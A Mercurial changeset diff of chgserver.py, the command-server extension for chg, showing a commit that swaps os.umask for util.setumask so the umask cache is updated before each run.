##// END OF EJS Templates
chgserver: update the umask cache before each run...
Pulkit Goyal -
r45119:d3797538 default
parent child Browse files
Show More
@@ -1,718 +1,718 b''
1 # chgserver.py - command server extension for cHg
1 # chgserver.py - command server extension for cHg
2 #
2 #
3 # Copyright 2011 Yuya Nishihara <yuya@tcha.org>
3 # Copyright 2011 Yuya Nishihara <yuya@tcha.org>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 """command server extension for cHg
8 """command server extension for cHg
9
9
10 'S' channel (read/write)
10 'S' channel (read/write)
11 propagate ui.system() request to client
11 propagate ui.system() request to client
12
12
13 'attachio' command
13 'attachio' command
14 attach client's stdio passed by sendmsg()
14 attach client's stdio passed by sendmsg()
15
15
16 'chdir' command
16 'chdir' command
17 change current directory
17 change current directory
18
18
19 'setenv' command
19 'setenv' command
20 replace os.environ completely
20 replace os.environ completely
21
21
22 'setumask' command (DEPRECATED)
22 'setumask' command (DEPRECATED)
23 'setumask2' command
23 'setumask2' command
24 set umask
24 set umask
25
25
26 'validate' command
26 'validate' command
27 reload the config and check if the server is up to date
27 reload the config and check if the server is up to date
28
28
29 Config
29 Config
30 ------
30 ------
31
31
32 ::
32 ::
33
33
34 [chgserver]
34 [chgserver]
35 # how long (in seconds) should an idle chg server exit
35 # how long (in seconds) should an idle chg server exit
36 idletimeout = 3600
36 idletimeout = 3600
37
37
38 # whether to skip config or env change checks
38 # whether to skip config or env change checks
39 skiphash = False
39 skiphash = False
40 """
40 """
41
41
42 from __future__ import absolute_import
42 from __future__ import absolute_import
43
43
44 import inspect
44 import inspect
45 import os
45 import os
46 import re
46 import re
47 import socket
47 import socket
48 import stat
48 import stat
49 import struct
49 import struct
50 import time
50 import time
51
51
52 from .i18n import _
52 from .i18n import _
53 from .pycompat import (
53 from .pycompat import (
54 getattr,
54 getattr,
55 setattr,
55 setattr,
56 )
56 )
57
57
58 from . import (
58 from . import (
59 commandserver,
59 commandserver,
60 encoding,
60 encoding,
61 error,
61 error,
62 extensions,
62 extensions,
63 node,
63 node,
64 pycompat,
64 pycompat,
65 util,
65 util,
66 )
66 )
67
67
68 from .utils import (
68 from .utils import (
69 hashutil,
69 hashutil,
70 procutil,
70 procutil,
71 stringutil,
71 stringutil,
72 )
72 )
73
73
74
74
75 def _hashlist(items):
75 def _hashlist(items):
76 """return sha1 hexdigest for a list"""
76 """return sha1 hexdigest for a list"""
77 return node.hex(hashutil.sha1(stringutil.pprint(items)).digest())
77 return node.hex(hashutil.sha1(stringutil.pprint(items)).digest())
78
78
79
79
80 # sensitive config sections affecting confighash
80 # sensitive config sections affecting confighash
81 _configsections = [
81 _configsections = [
82 b'alias', # affects global state commands.table
82 b'alias', # affects global state commands.table
83 b'diff-tools', # affects whether gui or not in extdiff's uisetup
83 b'diff-tools', # affects whether gui or not in extdiff's uisetup
84 b'eol', # uses setconfig('eol', ...)
84 b'eol', # uses setconfig('eol', ...)
85 b'extdiff', # uisetup will register new commands
85 b'extdiff', # uisetup will register new commands
86 b'extensions',
86 b'extensions',
87 b'fastannotate', # affects annotate command and adds fastannonate cmd
87 b'fastannotate', # affects annotate command and adds fastannonate cmd
88 b'merge-tools', # affects whether gui or not in extdiff's uisetup
88 b'merge-tools', # affects whether gui or not in extdiff's uisetup
89 b'schemes', # extsetup will update global hg.schemes
89 b'schemes', # extsetup will update global hg.schemes
90 ]
90 ]
91
91
92 _configsectionitems = [
92 _configsectionitems = [
93 (b'commands', b'show.aliasprefix'), # show.py reads it in extsetup
93 (b'commands', b'show.aliasprefix'), # show.py reads it in extsetup
94 ]
94 ]
95
95
96 # sensitive environment variables affecting confighash
96 # sensitive environment variables affecting confighash
97 _envre = re.compile(
97 _envre = re.compile(
98 br'''\A(?:
98 br'''\A(?:
99 CHGHG
99 CHGHG
100 |HG(?:DEMANDIMPORT|EMITWARNINGS|MODULEPOLICY|PROF|RCPATH)?
100 |HG(?:DEMANDIMPORT|EMITWARNINGS|MODULEPOLICY|PROF|RCPATH)?
101 |HG(?:ENCODING|PLAIN).*
101 |HG(?:ENCODING|PLAIN).*
102 |LANG(?:UAGE)?
102 |LANG(?:UAGE)?
103 |LC_.*
103 |LC_.*
104 |LD_.*
104 |LD_.*
105 |PATH
105 |PATH
106 |PYTHON.*
106 |PYTHON.*
107 |TERM(?:INFO)?
107 |TERM(?:INFO)?
108 |TZ
108 |TZ
109 )\Z''',
109 )\Z''',
110 re.X,
110 re.X,
111 )
111 )
112
112
113
113
114 def _confighash(ui):
114 def _confighash(ui):
115 """return a quick hash for detecting config/env changes
115 """return a quick hash for detecting config/env changes
116
116
117 confighash is the hash of sensitive config items and environment variables.
117 confighash is the hash of sensitive config items and environment variables.
118
118
119 for chgserver, it is designed that once confighash changes, the server is
119 for chgserver, it is designed that once confighash changes, the server is
120 not qualified to serve its client and should redirect the client to a new
120 not qualified to serve its client and should redirect the client to a new
121 server. different from mtimehash, confighash change will not mark the
121 server. different from mtimehash, confighash change will not mark the
122 server outdated and exit since the user can have different configs at the
122 server outdated and exit since the user can have different configs at the
123 same time.
123 same time.
124 """
124 """
125 sectionitems = []
125 sectionitems = []
126 for section in _configsections:
126 for section in _configsections:
127 sectionitems.append(ui.configitems(section))
127 sectionitems.append(ui.configitems(section))
128 for section, item in _configsectionitems:
128 for section, item in _configsectionitems:
129 sectionitems.append(ui.config(section, item))
129 sectionitems.append(ui.config(section, item))
130 sectionhash = _hashlist(sectionitems)
130 sectionhash = _hashlist(sectionitems)
131 # If $CHGHG is set, the change to $HG should not trigger a new chg server
131 # If $CHGHG is set, the change to $HG should not trigger a new chg server
132 if b'CHGHG' in encoding.environ:
132 if b'CHGHG' in encoding.environ:
133 ignored = {b'HG'}
133 ignored = {b'HG'}
134 else:
134 else:
135 ignored = set()
135 ignored = set()
136 envitems = [
136 envitems = [
137 (k, v)
137 (k, v)
138 for k, v in pycompat.iteritems(encoding.environ)
138 for k, v in pycompat.iteritems(encoding.environ)
139 if _envre.match(k) and k not in ignored
139 if _envre.match(k) and k not in ignored
140 ]
140 ]
141 envhash = _hashlist(sorted(envitems))
141 envhash = _hashlist(sorted(envitems))
142 return sectionhash[:6] + envhash[:6]
142 return sectionhash[:6] + envhash[:6]
143
143
144
144
145 def _getmtimepaths(ui):
145 def _getmtimepaths(ui):
146 """get a list of paths that should be checked to detect change
146 """get a list of paths that should be checked to detect change
147
147
148 The list will include:
148 The list will include:
149 - extensions (will not cover all files for complex extensions)
149 - extensions (will not cover all files for complex extensions)
150 - mercurial/__version__.py
150 - mercurial/__version__.py
151 - python binary
151 - python binary
152 """
152 """
153 modules = [m for n, m in extensions.extensions(ui)]
153 modules = [m for n, m in extensions.extensions(ui)]
154 try:
154 try:
155 from . import __version__
155 from . import __version__
156
156
157 modules.append(__version__)
157 modules.append(__version__)
158 except ImportError:
158 except ImportError:
159 pass
159 pass
160 files = []
160 files = []
161 if pycompat.sysexecutable:
161 if pycompat.sysexecutable:
162 files.append(pycompat.sysexecutable)
162 files.append(pycompat.sysexecutable)
163 for m in modules:
163 for m in modules:
164 try:
164 try:
165 files.append(pycompat.fsencode(inspect.getabsfile(m)))
165 files.append(pycompat.fsencode(inspect.getabsfile(m)))
166 except TypeError:
166 except TypeError:
167 pass
167 pass
168 return sorted(set(files))
168 return sorted(set(files))
169
169
170
170
171 def _mtimehash(paths):
171 def _mtimehash(paths):
172 """return a quick hash for detecting file changes
172 """return a quick hash for detecting file changes
173
173
174 mtimehash calls stat on given paths and calculate a hash based on size and
174 mtimehash calls stat on given paths and calculate a hash based on size and
175 mtime of each file. mtimehash does not read file content because reading is
175 mtime of each file. mtimehash does not read file content because reading is
176 expensive. therefore it's not 100% reliable for detecting content changes.
176 expensive. therefore it's not 100% reliable for detecting content changes.
177 it's possible to return different hashes for same file contents.
177 it's possible to return different hashes for same file contents.
178 it's also possible to return a same hash for different file contents for
178 it's also possible to return a same hash for different file contents for
179 some carefully crafted situation.
179 some carefully crafted situation.
180
180
181 for chgserver, it is designed that once mtimehash changes, the server is
181 for chgserver, it is designed that once mtimehash changes, the server is
182 considered outdated immediately and should no longer provide service.
182 considered outdated immediately and should no longer provide service.
183
183
184 mtimehash is not included in confighash because we only know the paths of
184 mtimehash is not included in confighash because we only know the paths of
185 extensions after importing them (there is imp.find_module but that faces
185 extensions after importing them (there is imp.find_module but that faces
186 race conditions). We need to calculate confighash without importing.
186 race conditions). We need to calculate confighash without importing.
187 """
187 """
188
188
189 def trystat(path):
189 def trystat(path):
190 try:
190 try:
191 st = os.stat(path)
191 st = os.stat(path)
192 return (st[stat.ST_MTIME], st.st_size)
192 return (st[stat.ST_MTIME], st.st_size)
193 except OSError:
193 except OSError:
194 # could be ENOENT, EPERM etc. not fatal in any case
194 # could be ENOENT, EPERM etc. not fatal in any case
195 pass
195 pass
196
196
197 return _hashlist(pycompat.maplist(trystat, paths))[:12]
197 return _hashlist(pycompat.maplist(trystat, paths))[:12]
198
198
199
199
200 class hashstate(object):
200 class hashstate(object):
201 """a structure storing confighash, mtimehash, paths used for mtimehash"""
201 """a structure storing confighash, mtimehash, paths used for mtimehash"""
202
202
203 def __init__(self, confighash, mtimehash, mtimepaths):
203 def __init__(self, confighash, mtimehash, mtimepaths):
204 self.confighash = confighash
204 self.confighash = confighash
205 self.mtimehash = mtimehash
205 self.mtimehash = mtimehash
206 self.mtimepaths = mtimepaths
206 self.mtimepaths = mtimepaths
207
207
208 @staticmethod
208 @staticmethod
209 def fromui(ui, mtimepaths=None):
209 def fromui(ui, mtimepaths=None):
210 if mtimepaths is None:
210 if mtimepaths is None:
211 mtimepaths = _getmtimepaths(ui)
211 mtimepaths = _getmtimepaths(ui)
212 confighash = _confighash(ui)
212 confighash = _confighash(ui)
213 mtimehash = _mtimehash(mtimepaths)
213 mtimehash = _mtimehash(mtimepaths)
214 ui.log(
214 ui.log(
215 b'cmdserver',
215 b'cmdserver',
216 b'confighash = %s mtimehash = %s\n',
216 b'confighash = %s mtimehash = %s\n',
217 confighash,
217 confighash,
218 mtimehash,
218 mtimehash,
219 )
219 )
220 return hashstate(confighash, mtimehash, mtimepaths)
220 return hashstate(confighash, mtimehash, mtimepaths)
221
221
222
222
223 def _newchgui(srcui, csystem, attachio):
223 def _newchgui(srcui, csystem, attachio):
224 class chgui(srcui.__class__):
224 class chgui(srcui.__class__):
225 def __init__(self, src=None):
225 def __init__(self, src=None):
226 super(chgui, self).__init__(src)
226 super(chgui, self).__init__(src)
227 if src:
227 if src:
228 self._csystem = getattr(src, '_csystem', csystem)
228 self._csystem = getattr(src, '_csystem', csystem)
229 else:
229 else:
230 self._csystem = csystem
230 self._csystem = csystem
231
231
232 def _runsystem(self, cmd, environ, cwd, out):
232 def _runsystem(self, cmd, environ, cwd, out):
233 # fallback to the original system method if
233 # fallback to the original system method if
234 # a. the output stream is not stdout (e.g. stderr, cStringIO),
234 # a. the output stream is not stdout (e.g. stderr, cStringIO),
235 # b. or stdout is redirected by protectfinout(),
235 # b. or stdout is redirected by protectfinout(),
236 # because the chg client is not aware of these situations and
236 # because the chg client is not aware of these situations and
237 # will behave differently (i.e. write to stdout).
237 # will behave differently (i.e. write to stdout).
238 if (
238 if (
239 out is not self.fout
239 out is not self.fout
240 or not util.safehasattr(self.fout, b'fileno')
240 or not util.safehasattr(self.fout, b'fileno')
241 or self.fout.fileno() != procutil.stdout.fileno()
241 or self.fout.fileno() != procutil.stdout.fileno()
242 or self._finoutredirected
242 or self._finoutredirected
243 ):
243 ):
244 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
244 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
245 self.flush()
245 self.flush()
246 return self._csystem(cmd, procutil.shellenviron(environ), cwd)
246 return self._csystem(cmd, procutil.shellenviron(environ), cwd)
247
247
248 def _runpager(self, cmd, env=None):
248 def _runpager(self, cmd, env=None):
249 self._csystem(
249 self._csystem(
250 cmd,
250 cmd,
251 procutil.shellenviron(env),
251 procutil.shellenviron(env),
252 type=b'pager',
252 type=b'pager',
253 cmdtable={b'attachio': attachio},
253 cmdtable={b'attachio': attachio},
254 )
254 )
255 return True
255 return True
256
256
257 return chgui(srcui)
257 return chgui(srcui)
258
258
259
259
260 def _loadnewui(srcui, args, cdebug):
260 def _loadnewui(srcui, args, cdebug):
261 from . import dispatch # avoid cycle
261 from . import dispatch # avoid cycle
262
262
263 newui = srcui.__class__.load()
263 newui = srcui.__class__.load()
264 for a in [b'fin', b'fout', b'ferr', b'environ']:
264 for a in [b'fin', b'fout', b'ferr', b'environ']:
265 setattr(newui, a, getattr(srcui, a))
265 setattr(newui, a, getattr(srcui, a))
266 if util.safehasattr(srcui, b'_csystem'):
266 if util.safehasattr(srcui, b'_csystem'):
267 newui._csystem = srcui._csystem
267 newui._csystem = srcui._csystem
268
268
269 # command line args
269 # command line args
270 options = dispatch._earlyparseopts(newui, args)
270 options = dispatch._earlyparseopts(newui, args)
271 dispatch._parseconfig(newui, options[b'config'])
271 dispatch._parseconfig(newui, options[b'config'])
272
272
273 # stolen from tortoisehg.util.copydynamicconfig()
273 # stolen from tortoisehg.util.copydynamicconfig()
274 for section, name, value in srcui.walkconfig():
274 for section, name, value in srcui.walkconfig():
275 source = srcui.configsource(section, name)
275 source = srcui.configsource(section, name)
276 if b':' in source or source == b'--config' or source.startswith(b'$'):
276 if b':' in source or source == b'--config' or source.startswith(b'$'):
277 # path:line or command line, or environ
277 # path:line or command line, or environ
278 continue
278 continue
279 newui.setconfig(section, name, value, source)
279 newui.setconfig(section, name, value, source)
280
280
281 # load wd and repo config, copied from dispatch.py
281 # load wd and repo config, copied from dispatch.py
282 cwd = options[b'cwd']
282 cwd = options[b'cwd']
283 cwd = cwd and os.path.realpath(cwd) or None
283 cwd = cwd and os.path.realpath(cwd) or None
284 rpath = options[b'repository']
284 rpath = options[b'repository']
285 path, newlui = dispatch._getlocal(newui, rpath, wd=cwd)
285 path, newlui = dispatch._getlocal(newui, rpath, wd=cwd)
286
286
287 extensions.populateui(newui)
287 extensions.populateui(newui)
288 commandserver.setuplogging(newui, fp=cdebug)
288 commandserver.setuplogging(newui, fp=cdebug)
289 if newui is not newlui:
289 if newui is not newlui:
290 extensions.populateui(newlui)
290 extensions.populateui(newlui)
291 commandserver.setuplogging(newlui, fp=cdebug)
291 commandserver.setuplogging(newlui, fp=cdebug)
292
292
293 return (newui, newlui)
293 return (newui, newlui)
294
294
295
295
296 class channeledsystem(object):
296 class channeledsystem(object):
297 """Propagate ui.system() request in the following format:
297 """Propagate ui.system() request in the following format:
298
298
299 payload length (unsigned int),
299 payload length (unsigned int),
300 type, '\0',
300 type, '\0',
301 cmd, '\0',
301 cmd, '\0',
302 cwd, '\0',
302 cwd, '\0',
303 envkey, '=', val, '\0',
303 envkey, '=', val, '\0',
304 ...
304 ...
305 envkey, '=', val
305 envkey, '=', val
306
306
307 if type == 'system', waits for:
307 if type == 'system', waits for:
308
308
309 exitcode length (unsigned int),
309 exitcode length (unsigned int),
310 exitcode (int)
310 exitcode (int)
311
311
312 if type == 'pager', repetitively waits for a command name ending with '\n'
312 if type == 'pager', repetitively waits for a command name ending with '\n'
313 and executes it defined by cmdtable, or exits the loop if the command name
313 and executes it defined by cmdtable, or exits the loop if the command name
314 is empty.
314 is empty.
315 """
315 """
316
316
317 def __init__(self, in_, out, channel):
317 def __init__(self, in_, out, channel):
318 self.in_ = in_
318 self.in_ = in_
319 self.out = out
319 self.out = out
320 self.channel = channel
320 self.channel = channel
321
321
322 def __call__(self, cmd, environ, cwd=None, type=b'system', cmdtable=None):
322 def __call__(self, cmd, environ, cwd=None, type=b'system', cmdtable=None):
323 args = [type, procutil.quotecommand(cmd), os.path.abspath(cwd or b'.')]
323 args = [type, procutil.quotecommand(cmd), os.path.abspath(cwd or b'.')]
324 args.extend(b'%s=%s' % (k, v) for k, v in pycompat.iteritems(environ))
324 args.extend(b'%s=%s' % (k, v) for k, v in pycompat.iteritems(environ))
325 data = b'\0'.join(args)
325 data = b'\0'.join(args)
326 self.out.write(struct.pack(b'>cI', self.channel, len(data)))
326 self.out.write(struct.pack(b'>cI', self.channel, len(data)))
327 self.out.write(data)
327 self.out.write(data)
328 self.out.flush()
328 self.out.flush()
329
329
330 if type == b'system':
330 if type == b'system':
331 length = self.in_.read(4)
331 length = self.in_.read(4)
332 (length,) = struct.unpack(b'>I', length)
332 (length,) = struct.unpack(b'>I', length)
333 if length != 4:
333 if length != 4:
334 raise error.Abort(_(b'invalid response'))
334 raise error.Abort(_(b'invalid response'))
335 (rc,) = struct.unpack(b'>i', self.in_.read(4))
335 (rc,) = struct.unpack(b'>i', self.in_.read(4))
336 return rc
336 return rc
337 elif type == b'pager':
337 elif type == b'pager':
338 while True:
338 while True:
339 cmd = self.in_.readline()[:-1]
339 cmd = self.in_.readline()[:-1]
340 if not cmd:
340 if not cmd:
341 break
341 break
342 if cmdtable and cmd in cmdtable:
342 if cmdtable and cmd in cmdtable:
343 cmdtable[cmd]()
343 cmdtable[cmd]()
344 else:
344 else:
345 raise error.Abort(_(b'unexpected command: %s') % cmd)
345 raise error.Abort(_(b'unexpected command: %s') % cmd)
346 else:
346 else:
347 raise error.ProgrammingError(b'invalid S channel type: %s' % type)
347 raise error.ProgrammingError(b'invalid S channel type: %s' % type)
348
348
349
349
350 _iochannels = [
350 _iochannels = [
351 # server.ch, ui.fp, mode
351 # server.ch, ui.fp, mode
352 (b'cin', b'fin', 'rb'),
352 (b'cin', b'fin', 'rb'),
353 (b'cout', b'fout', 'wb'),
353 (b'cout', b'fout', 'wb'),
354 (b'cerr', b'ferr', 'wb'),
354 (b'cerr', b'ferr', 'wb'),
355 ]
355 ]
356
356
357
357
358 class chgcmdserver(commandserver.server):
358 class chgcmdserver(commandserver.server):
359 def __init__(
359 def __init__(
360 self, ui, repo, fin, fout, sock, prereposetups, hashstate, baseaddress
360 self, ui, repo, fin, fout, sock, prereposetups, hashstate, baseaddress
361 ):
361 ):
362 super(chgcmdserver, self).__init__(
362 super(chgcmdserver, self).__init__(
363 _newchgui(ui, channeledsystem(fin, fout, b'S'), self.attachio),
363 _newchgui(ui, channeledsystem(fin, fout, b'S'), self.attachio),
364 repo,
364 repo,
365 fin,
365 fin,
366 fout,
366 fout,
367 prereposetups,
367 prereposetups,
368 )
368 )
369 self.clientsock = sock
369 self.clientsock = sock
370 self._ioattached = False
370 self._ioattached = False
371 self._oldios = [] # original (self.ch, ui.fp, fd) before "attachio"
371 self._oldios = [] # original (self.ch, ui.fp, fd) before "attachio"
372 self.hashstate = hashstate
372 self.hashstate = hashstate
373 self.baseaddress = baseaddress
373 self.baseaddress = baseaddress
374 if hashstate is not None:
374 if hashstate is not None:
375 self.capabilities = self.capabilities.copy()
375 self.capabilities = self.capabilities.copy()
376 self.capabilities[b'validate'] = chgcmdserver.validate
376 self.capabilities[b'validate'] = chgcmdserver.validate
377
377
378 def cleanup(self):
378 def cleanup(self):
379 super(chgcmdserver, self).cleanup()
379 super(chgcmdserver, self).cleanup()
380 # dispatch._runcatch() does not flush outputs if exception is not
380 # dispatch._runcatch() does not flush outputs if exception is not
381 # handled by dispatch._dispatch()
381 # handled by dispatch._dispatch()
382 self.ui.flush()
382 self.ui.flush()
383 self._restoreio()
383 self._restoreio()
384 self._ioattached = False
384 self._ioattached = False
385
385
386 def attachio(self):
386 def attachio(self):
387 """Attach to client's stdio passed via unix domain socket; all
387 """Attach to client's stdio passed via unix domain socket; all
388 channels except cresult will no longer be used
388 channels except cresult will no longer be used
389 """
389 """
390 # tell client to sendmsg() with 1-byte payload, which makes it
390 # tell client to sendmsg() with 1-byte payload, which makes it
391 # distinctive from "attachio\n" command consumed by client.read()
391 # distinctive from "attachio\n" command consumed by client.read()
392 self.clientsock.sendall(struct.pack(b'>cI', b'I', 1))
392 self.clientsock.sendall(struct.pack(b'>cI', b'I', 1))
393 clientfds = util.recvfds(self.clientsock.fileno())
393 clientfds = util.recvfds(self.clientsock.fileno())
394 self.ui.log(b'chgserver', b'received fds: %r\n', clientfds)
394 self.ui.log(b'chgserver', b'received fds: %r\n', clientfds)
395
395
396 ui = self.ui
396 ui = self.ui
397 ui.flush()
397 ui.flush()
398 self._saveio()
398 self._saveio()
399 for fd, (cn, fn, mode) in zip(clientfds, _iochannels):
399 for fd, (cn, fn, mode) in zip(clientfds, _iochannels):
400 assert fd > 0
400 assert fd > 0
401 fp = getattr(ui, fn)
401 fp = getattr(ui, fn)
402 os.dup2(fd, fp.fileno())
402 os.dup2(fd, fp.fileno())
403 os.close(fd)
403 os.close(fd)
404 if self._ioattached:
404 if self._ioattached:
405 continue
405 continue
406 # reset buffering mode when client is first attached. as we want
406 # reset buffering mode when client is first attached. as we want
407 # to see output immediately on pager, the mode stays unchanged
407 # to see output immediately on pager, the mode stays unchanged
408 # when client re-attached. ferr is unchanged because it should
408 # when client re-attached. ferr is unchanged because it should
409 # be unbuffered no matter if it is a tty or not.
409 # be unbuffered no matter if it is a tty or not.
410 if fn == b'ferr':
410 if fn == b'ferr':
411 newfp = fp
411 newfp = fp
412 else:
412 else:
413 # make it line buffered explicitly because the default is
413 # make it line buffered explicitly because the default is
414 # decided on first write(), where fout could be a pager.
414 # decided on first write(), where fout could be a pager.
415 if fp.isatty():
415 if fp.isatty():
416 bufsize = 1 # line buffered
416 bufsize = 1 # line buffered
417 else:
417 else:
418 bufsize = -1 # system default
418 bufsize = -1 # system default
419 newfp = os.fdopen(fp.fileno(), mode, bufsize)
419 newfp = os.fdopen(fp.fileno(), mode, bufsize)
420 setattr(ui, fn, newfp)
420 setattr(ui, fn, newfp)
421 setattr(self, cn, newfp)
421 setattr(self, cn, newfp)
422
422
423 self._ioattached = True
423 self._ioattached = True
424 self.cresult.write(struct.pack(b'>i', len(clientfds)))
424 self.cresult.write(struct.pack(b'>i', len(clientfds)))
425
425
426 def _saveio(self):
426 def _saveio(self):
427 if self._oldios:
427 if self._oldios:
428 return
428 return
429 ui = self.ui
429 ui = self.ui
430 for cn, fn, _mode in _iochannels:
430 for cn, fn, _mode in _iochannels:
431 ch = getattr(self, cn)
431 ch = getattr(self, cn)
432 fp = getattr(ui, fn)
432 fp = getattr(ui, fn)
433 fd = os.dup(fp.fileno())
433 fd = os.dup(fp.fileno())
434 self._oldios.append((ch, fp, fd))
434 self._oldios.append((ch, fp, fd))
435
435
436 def _restoreio(self):
436 def _restoreio(self):
437 ui = self.ui
437 ui = self.ui
438 for (ch, fp, fd), (cn, fn, _mode) in zip(self._oldios, _iochannels):
438 for (ch, fp, fd), (cn, fn, _mode) in zip(self._oldios, _iochannels):
439 newfp = getattr(ui, fn)
439 newfp = getattr(ui, fn)
440 # close newfp while it's associated with client; otherwise it
440 # close newfp while it's associated with client; otherwise it
441 # would be closed when newfp is deleted
441 # would be closed when newfp is deleted
442 if newfp is not fp:
442 if newfp is not fp:
443 newfp.close()
443 newfp.close()
444 # restore original fd: fp is open again
444 # restore original fd: fp is open again
445 os.dup2(fd, fp.fileno())
445 os.dup2(fd, fp.fileno())
446 os.close(fd)
446 os.close(fd)
447 setattr(self, cn, ch)
447 setattr(self, cn, ch)
448 setattr(ui, fn, fp)
448 setattr(ui, fn, fp)
449 del self._oldios[:]
449 del self._oldios[:]
450
450
451 def validate(self):
451 def validate(self):
452 """Reload the config and check if the server is up to date
452 """Reload the config and check if the server is up to date
453
453
454 Read a list of '\0' separated arguments.
454 Read a list of '\0' separated arguments.
455 Write a non-empty list of '\0' separated instruction strings or '\0'
455 Write a non-empty list of '\0' separated instruction strings or '\0'
456 if the list is empty.
456 if the list is empty.
457 An instruction string could be either:
457 An instruction string could be either:
458 - "unlink $path", the client should unlink the path to stop the
458 - "unlink $path", the client should unlink the path to stop the
459 outdated server.
459 outdated server.
460 - "redirect $path", the client should attempt to connect to $path
460 - "redirect $path", the client should attempt to connect to $path
461 first. If it does not work, start a new server. It implies
461 first. If it does not work, start a new server. It implies
462 "reconnect".
462 "reconnect".
463 - "exit $n", the client should exit directly with code n.
463 - "exit $n", the client should exit directly with code n.
464 This may happen if we cannot parse the config.
464 This may happen if we cannot parse the config.
465 - "reconnect", the client should close the connection and
465 - "reconnect", the client should close the connection and
466 reconnect.
466 reconnect.
467 If neither "reconnect" nor "redirect" is included in the instruction
467 If neither "reconnect" nor "redirect" is included in the instruction
468 list, the client can continue with this server after completing all
468 list, the client can continue with this server after completing all
469 the instructions.
469 the instructions.
470 """
470 """
471 from . import dispatch # avoid cycle
471 from . import dispatch # avoid cycle
472
472
473 args = self._readlist()
473 args = self._readlist()
474 try:
474 try:
475 self.ui, lui = _loadnewui(self.ui, args, self.cdebug)
475 self.ui, lui = _loadnewui(self.ui, args, self.cdebug)
476 except error.ParseError as inst:
476 except error.ParseError as inst:
477 dispatch._formatparse(self.ui.warn, inst)
477 dispatch._formatparse(self.ui.warn, inst)
478 self.ui.flush()
478 self.ui.flush()
479 self.cresult.write(b'exit 255')
479 self.cresult.write(b'exit 255')
480 return
480 return
481 except error.Abort as inst:
481 except error.Abort as inst:
482 self.ui.error(_(b"abort: %s\n") % inst)
482 self.ui.error(_(b"abort: %s\n") % inst)
483 if inst.hint:
483 if inst.hint:
484 self.ui.error(_(b"(%s)\n") % inst.hint)
484 self.ui.error(_(b"(%s)\n") % inst.hint)
485 self.ui.flush()
485 self.ui.flush()
486 self.cresult.write(b'exit 255')
486 self.cresult.write(b'exit 255')
487 return
487 return
488 newhash = hashstate.fromui(lui, self.hashstate.mtimepaths)
488 newhash = hashstate.fromui(lui, self.hashstate.mtimepaths)
489 insts = []
489 insts = []
490 if newhash.mtimehash != self.hashstate.mtimehash:
490 if newhash.mtimehash != self.hashstate.mtimehash:
491 addr = _hashaddress(self.baseaddress, self.hashstate.confighash)
491 addr = _hashaddress(self.baseaddress, self.hashstate.confighash)
492 insts.append(b'unlink %s' % addr)
492 insts.append(b'unlink %s' % addr)
493 # mtimehash is empty if one or more extensions fail to load.
493 # mtimehash is empty if one or more extensions fail to load.
494 # to be compatible with hg, still serve the client this time.
494 # to be compatible with hg, still serve the client this time.
495 if self.hashstate.mtimehash:
495 if self.hashstate.mtimehash:
496 insts.append(b'reconnect')
496 insts.append(b'reconnect')
497 if newhash.confighash != self.hashstate.confighash:
497 if newhash.confighash != self.hashstate.confighash:
498 addr = _hashaddress(self.baseaddress, newhash.confighash)
498 addr = _hashaddress(self.baseaddress, newhash.confighash)
499 insts.append(b'redirect %s' % addr)
499 insts.append(b'redirect %s' % addr)
500 self.ui.log(b'chgserver', b'validate: %s\n', stringutil.pprint(insts))
500 self.ui.log(b'chgserver', b'validate: %s\n', stringutil.pprint(insts))
501 self.cresult.write(b'\0'.join(insts) or b'\0')
501 self.cresult.write(b'\0'.join(insts) or b'\0')
502
502
503 def chdir(self):
503 def chdir(self):
504 """Change current directory
504 """Change current directory
505
505
506 Note that the behavior of --cwd option is bit different from this.
506 Note that the behavior of --cwd option is bit different from this.
507 It does not affect --config parameter.
507 It does not affect --config parameter.
508 """
508 """
509 path = self._readstr()
509 path = self._readstr()
510 if not path:
510 if not path:
511 return
511 return
512 self.ui.log(b'chgserver', b"chdir to '%s'\n", path)
512 self.ui.log(b'chgserver', b"chdir to '%s'\n", path)
513 os.chdir(path)
513 os.chdir(path)
514
514
515 def setumask(self):
515 def setumask(self):
516 """Change umask (DEPRECATED)"""
516 """Change umask (DEPRECATED)"""
517 # BUG: this does not follow the message frame structure, but kept for
517 # BUG: this does not follow the message frame structure, but kept for
518 # backward compatibility with old chg clients for some time
518 # backward compatibility with old chg clients for some time
519 self._setumask(self._read(4))
519 self._setumask(self._read(4))
520
520
521 def setumask2(self):
521 def setumask2(self):
522 """Change umask"""
522 """Change umask"""
523 data = self._readstr()
523 data = self._readstr()
524 if len(data) != 4:
524 if len(data) != 4:
525 raise ValueError(b'invalid mask length in setumask2 request')
525 raise ValueError(b'invalid mask length in setumask2 request')
526 self._setumask(data)
526 self._setumask(data)
527
527
528 def _setumask(self, data):
528 def _setumask(self, data):
529 mask = struct.unpack(b'>I', data)[0]
529 mask = struct.unpack(b'>I', data)[0]
530 self.ui.log(b'chgserver', b'setumask %r\n', mask)
530 self.ui.log(b'chgserver', b'setumask %r\n', mask)
531 os.umask(mask)
531 util.setumask(mask)
532
532
533 def runcommand(self):
533 def runcommand(self):
534 # pager may be attached within the runcommand session, which should
534 # pager may be attached within the runcommand session, which should
535 # be detached at the end of the session. otherwise the pager wouldn't
535 # be detached at the end of the session. otherwise the pager wouldn't
536 # receive EOF.
536 # receive EOF.
537 globaloldios = self._oldios
537 globaloldios = self._oldios
538 self._oldios = []
538 self._oldios = []
539 try:
539 try:
540 return super(chgcmdserver, self).runcommand()
540 return super(chgcmdserver, self).runcommand()
541 finally:
541 finally:
542 self._restoreio()
542 self._restoreio()
543 self._oldios = globaloldios
543 self._oldios = globaloldios
544
544
545 def setenv(self):
545 def setenv(self):
546 """Clear and update os.environ
546 """Clear and update os.environ
547
547
548 Note that not all variables can make an effect on the running process.
548 Note that not all variables can make an effect on the running process.
549 """
549 """
550 l = self._readlist()
550 l = self._readlist()
551 try:
551 try:
552 newenv = dict(s.split(b'=', 1) for s in l)
552 newenv = dict(s.split(b'=', 1) for s in l)
553 except ValueError:
553 except ValueError:
554 raise ValueError(b'unexpected value in setenv request')
554 raise ValueError(b'unexpected value in setenv request')
555 self.ui.log(b'chgserver', b'setenv: %r\n', sorted(newenv.keys()))
555 self.ui.log(b'chgserver', b'setenv: %r\n', sorted(newenv.keys()))
556
556
557 encoding.environ.clear()
557 encoding.environ.clear()
558 encoding.environ.update(newenv)
558 encoding.environ.update(newenv)
559
559
